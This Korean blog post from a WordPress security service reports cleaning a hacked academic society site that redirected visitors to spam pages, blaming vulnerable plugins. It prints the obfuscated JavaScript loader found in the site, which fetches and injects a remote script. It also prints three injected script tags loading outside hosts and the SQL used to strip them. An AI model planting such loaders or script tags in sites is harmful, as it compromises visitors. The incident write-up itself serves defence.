워드프레스로 제작된 학회 사이트가 해킹을 당해 다른 사이트로 이동되는 문제가 발생을 해서 해킹 복구 작업 및 보안최적화 작업을 진행했습니다. 호스팅은 나야나 ( nayana.com ) 를 이용하고 있었고, 테마는 펀드레이징 (fundraising), 기부 (Donation), 자선 크라우드펀딩 (Charity Crowdfunding) 테마인 본투기브 테마 ( Born to give theme ) 를 사용하고 있었습니다.
안녕하세요! 워드프레스로 제작한 홈페이지의 홈페이지 접속시 리다이렉트 문제 해결을 요청 드립니다. 학회 홈페이지 입니다. 학회 홈페이지와 전혀 관련이 없는 http://snovavbou.info/blog/?p=422 와 같은 곳으로 리다이렉트가 됩니다. 답변 해주시면 감사하겠습니다. 이상입니다.
증상
- 특정 사이트로 강제이동
- 글, 페이지, 미디어 (이미지, 비디오) 설명, 팝업, 상품 내 자바스크립트 (Javascript) 악성 코드 삽입
- 워드프레스, 플러그인, 테마 파일 내에 악성코드 삽입
- 데이터베이스 감염
먼저 FTP 계정과 워드프레스 관리자 계정을 받아서 해킹의 원인과 악성코드의 종류를 살펴보았습니다. FTP 로 접속을 해보니 플러그인의 파일들이 악성코드에 감염이 되어있었습니다. 그리고 플러그인들중에 최근에 취약점이 발견되어 문제가 되고 있는 얼티밋 멤버 (Ultimate Member) 과 컨택트폼7 (Contact Form7) 플러그인이 있었는데, 증상과 악성코드를 보니 이 플러그인들로 인한 감염이 원인으로 보였습니다.
<script language=javascript>var _0xfcc4=["\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x47\x45\x54","\x6F\x70\x65\x6E","\x73\x65\x6E\x64","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x61\x73\x79\x6E\x63","\x69\x64","\x63\x64\x6E\x37\x38\x39","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x73\x63\x72\x69\x70\x74","\x6C\x65\x6E\x67\x74\x68"];var url=String[_0xfcc4[0]](104,116,116,112,115,58,47,47,119,119,119,46,108,101,97,114,110,105,110,103,116,111,111,108,107,105,116,46,99,108,117,98,47,108,105,110,107,46,112,104,112);var get_text=function httpGet(_0x3bc1x4){var _0x3bc1x5= new XMLHttpRequest();_0x3bc1x5[_0xfcc4[2]](_0xfcc4[1],_0x3bc1x4,false);_0x3bc1x5[_0xfcc4[3]](null);return _0x3bc1x5[_0xfcc4[4]]};var text=get_text(url);if(text!= String[_0xfcc4[0]](110,117,108,108)&& text[_0xfcc4[5]](String[_0xfcc4[0]](104,116,116,112,115,58,47,47))> -1){var a=function(){var _0x3bc1x8=document[_0xfcc4[6]](String[_0xfcc4[0]](115,99,114,105,112,116));_0x3bc1x8[_0xfcc4[7]]= String[_0xfcc4[0]](116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);_0x3bc1x8[_0xfcc4[8]]= true;_0x3bc1x8[_0xfcc4[9]]= _0xfcc4[10];_0x3bc1x8[_0xfcc4[11]]= text;document[_0xfcc4[13]](String[_0xfcc4[0]](104,101,97,100))[0][_0xfcc4[12]](_0x3bc1x8)};var scrpts=document[_0xfcc4[13]](_0xfcc4[14]);var n=true;for(var i=scrpts[_0xfcc4[15]];i--;){if(scrpts[i][_0xfcc4[9]]== _0xfcc4[10]){n= false}};if(n== true){a()}}</script><script language=javascript>var _0xfcc4=["\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x47\x45\x54","\x6F\x70\x65\x6E","\x73\x65\x6E\x64","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x61\x73\x79\x6E\x63","\x69\x64","\x63\x64\x6E\x37\x38\x39","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x73\x63\x72\x69\x70\x74","\x6C\x65\x6E\x67\x74\x68"];var url=String[_0xfcc4[0]](104,116,116,112,115,58,47,47,119,119,119,46,108,101,97,114,110,105,110,103,116,111,111,108,107,105,116,46,99,108,117,98,47,108,105,110,107,46,112,104,112);var get_text=function httpGet(_0x3bc1x4){var _0x3bc1x5= new XMLHttpRequest();_0x3bc1x5[_0xfcc4[2]](_0xfcc4[1],_0x3bc1x4,false);_0x3bc1x5[_0xfcc4[3]](null);return _0x3bc1x5[_0xfcc4[4]]};var text=get_text(url);if(text!= String[_0xfcc4[0]](110,117,108,108)&& text[_0xfcc4[5]](String[_0xfcc4[0]](104,116,116,112,115,58,47,47))> -1){var a=function(){var _0x3bc1x8=document[_0xfcc4[6]](String[_0xfcc4[0]](115,99,114,105,112,116));_0x3bc1x8[_0xfcc4[7]]= String[_0xfcc4[0]](116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);_0x3bc1x8[_0xfcc4[8]]= true;_0x3bc1x8[_0xfcc4[9]]= _0xfcc4[10];_0x3bc1x8[_0xfcc4[11]]= text;document[_0xfcc4[13]](String[_0xfcc4[0]](104,101,97,100))[0][_0xfcc4[12]](_0x3bc1x8)};var scrpts=document[_0xfcc4[13]](_0xfcc4[14]);var n=true;for(var i=scrpts[_0xfcc4[15]];i--;){if(scrpts[i][_0xfcc4[9]]== _0xfcc4[10]){n= false}};if(n== true){a()}}</script>
아래는 감염된 플러그인들입니다.
drwxr-xr-x 10 nobody nobody 4096 2017-01-24 09:51 all-in-one-seo-pack 2.3.11.3 drwxr-xr-x 6 nobody nobody 4096 2017-01-24 09:51 charitable 1.4.9 drwxr-xr-x 7 nobody nobody 4096 2017-01-24 09:51 contact-form-7 4.6.1 drwxr-xr-x 4 nobody nobody 4096 2017-01-26 14:03 import-users-from-csv-with-meta 1.10.1 drwxr-xr-x 12 nobody nobody 4096 2016-12-26 13:28 kboard 5.3 drwxr-xr-x 7 nobody nobody 4096 2016-12-26 13:29 kboard-comments 4.4 drwxr-xr-x 8 nobody nobody 4096 2017-01-05 11:31 loco-translate 2.0.11 drwxr-xr-x 7 nobody nobody 4096 2017-01-24 09:51 meta-box 4.10.1 drwxr-xr-x 6 nobody nobody 4096 2017-02-02 15:50 page-views-count 1.4.0 drwxr-xr-x 8 nobody nobody 4096 2017-01-24 09:51 ultimate-member 1.3.81 drwxr-xr-x 7 nobody nobody 4096 2017-01-07 23:47 user-role-editor 4.31.1 drwxr-xr-x 7 nobody nobody 4096 2017-01-24 09:51 woocommerce 2.6.13
그리고 컨텐츠 내에도 아래 자바스크립트 악성코드가 심겨져 있었습니다. 이 악성코드는 이전 사례에는 글, 페이지 컨텐츠 부분에만 악성코드가 심겨져있었던 것과 달리, 미디어 파일 (이미지, 비디오) 의 설명 (Description) 부분에도 심겨져 있었고, 사용되지 않는 상품, 팝업 등에도 심겨져 있었습니다.
<script src='https://pr.uustoughtonma.org/d.js' type='text/javascript'></script><script src='https://s2.voipnewswire.net/s2.js' type='text/javascript'></script><script src='https://hotopponents.site/site.js' type='text/javascript'></script>
다시 정리를 해보면 해킹의 원인은 얼티밋 멤버 플러그인과 컨택트폼7 (Contact Form7) 플러그인의 취약점 이였고, 치료를 하기 위해서 악성코드가 담긴 파일을 삭제하고 데이터베이스에 접속해서 포스트 컨텐츠, 미디어 내 있는 자바스크립트 코드를 제거하였습니다.
파일 내 악성코드들은 FIND 명령어로 찾고, 제거를 하였는데, 파일들의 소유자가 nobody:nobody 로 되어있어서, 파일 수정이 안되는 상황이 있어서, 나야나 고객센터에 요청하여 소유자를 변경한뒤 작업을 진행해 드렸습니다. 그리고 phpmyadmin 에서 UPDATE 와 REPLACE 명령어를 이용하여 데이터베이스 내 악성코드들도 전부 제거하였습니다.
UPDATE `wp_posts` SET post_content = REPLACE (post_content, "<script src='https://pr.uustoughtonma.org/d.js' type='text/javascript'></script>", " "); UPDATE `wp_posts` SET post_content = REPLACE (post_content, "<script src='https://s2.voipnewswire.net/s2.js' type='text/javascript'></script>", " "); UPDATE `wp_posts` SET post_content = REPLACE (post_content, "<script src='https://hotopponents.site/site.js' type='text/javascript'></script>", " ")
비디오 파일의 파일명이 손상되어 제대로 재생이 되지 않아 압축을 한뒤 다운로드해서 파일명을 변경해서 다시 업로드를 해주니 정상적으로 작동이 되었습니다.
악성코드 제거 후 보안최적화 작업까지 진행을 해드렸습니다. 작업내용은 대략적으로 다음과 같습니다.
- 보안 플러그인 설치 및 설정
- 무작위 비밀번호 대입 관리자 침투 방지
- 관리자 주소 수정
- 데이터베이스 비밀번호 수정
- 자동백업설정
- 파일변조방지
- 워드프레스 버전 업데이트
- 그 외 폴더 권한 조정 및 보안 조치 작업
작업의 신속성에 놀라고 전문성에 경탄했습니다! 작업 완벽하게 해주셔서 감사합니다!!!
최근들어 얼티밋 멤버스와 컨택트폼7 을 이용하고 있는 홈페이지의 해킹 사례가 급속히 늘어나고 있는데, 이 플러그인을 사용중인 사이트는 미리 업데이트나 보안최적화 작업을 해주는 것을 추천드립니다. 날이 갈수록 다양한 해킹 사례가 신고되고 있고, 악성코드의 심각성도 커지고 있습니다. 해킹으로 인한 피해를 입기 전에 기본 워드프레스 보안 최적화 작업은 해주시는 것을 적극 추천드립니다. 스마일보이랩에서는 직접 대응이 어려운 분들을 위해 해킹복구 및 보안최적화 서비스를 제공해 드리고 있습니다.
서비스 문의
홈페이지문의 : https://www.smileboylab.com/contact/
이메일문의 : admin@smileboylab.com
전화문의 : 02-352-0405, 02-2135-2876
톡톡 : https://talk.naver.com/ct/wc4p5h
카카오플러스친구 : http://pf.kakao.com/_yYxcRxl
Warning: file_get_contents(domain/mp3play.online.txt): failed to open stream: No such file or directory in /www/wwwroot/link123456.online/getlink/index.php on line 27